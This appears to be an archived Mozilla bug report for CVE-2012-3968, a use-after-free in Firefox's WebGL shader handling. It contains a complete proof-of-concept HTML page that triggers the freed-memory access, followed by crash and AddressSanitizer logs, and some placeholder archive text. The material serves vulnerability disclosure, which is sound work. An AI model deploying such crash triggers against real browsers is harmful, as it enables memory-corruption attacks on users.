use after free, webgl fragment shader deleted by accessor
- Fixed in 7 days
- Paid in 12 months
- Disclosed after 7 days
Created attachment 644186 shaders2.html (May crash you)
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11
Steps to reproduce:
loaded the following file:
<html> <head> </head> <body> <canvas id="cx"></canvas> <script> function gc() { function gcRec(n) { if (n < 1) return {} var temp = {i: "ab" + i + (i / 100000)} temp += "foo" gcRec(n-1) } for (var i = 0; i < 1000; i++) { gcRec(10) } } context = cx.getContext("moz-webgl") program = context.createProgram() shader1 = context.createShader(context.VERTEX_SHADER)
context.attachShader(program, shader1)
Array.prototype.__defineSetter__(0, function() {
context.detachShader(program, shader2)
context.deleteShader(shader2)
shader2 = null
gc()
})
for (var i = 0; i < 30; ++i) {
shader2 = context.createShader(context.FRAGMENT_SHADER)
context.attachShader(program, shader2)
shaders = context.getAttachedShaders(program)
console.dir(shaders[1])
}
</script>
Actual results:
firefox crashed.
exception=EXC_BAD_ACCESS:signal=10:is_exploitable=yes:instruction_disassembly=:instruction_address=0x0000000111e82a60:access_type=exec:access_address=0x0000000111e82a60:
exception=EXC_BAD_ACCESS:signal=10:is_exploitable=yes:instruction_disassembly=:instruction_address=0x0000000108a99700:access_type=exec:access_address=0x0000000108a99700:
==1901== ERROR: AddressSanitizer heap-use-after-free on address 0x00012c1ac080 at pc 0x10519470a bp 0x7fff5fbf6490 sp 0x7fff5fbf6488 READ of size 8 at 0x00012c1ac080 thread T0 #0 0x10519470a in unsigned int CallQueryInterface<nsISupports, nsWrapperCache>(nsISupports*, nsWrapperCache**) (in XUL) + 170 #1 0x106c2cfbf in bool mozilla::dom::WrapObjectmozilla::WebGLShader(JSContext*, JSObject*, mozilla::WebGLShader*, nsWrapperCache*, nsID const*, JS::Value*) (in XUL) + 175
0x00012c1ac080 is located 0 bytes inside of 144-byte region [0x00012c1ac080,0x00012c1ac110) freed by thread T0 here: #0 0x10000d095 in (anonymous namespace)::mz_free(_malloc_zone_t*, void*) (in firefox) + 85 #1 0x10000cb10 in wrap_free (in firefox) + 80 #2 0x10519e522 in mozilla::WebGLShader::Release() (in XUL) + 290
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity memory corruption bug in DOM: Core & HTML. Mozilla made it public on 27 July 2012 as CVE-2012-3968.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.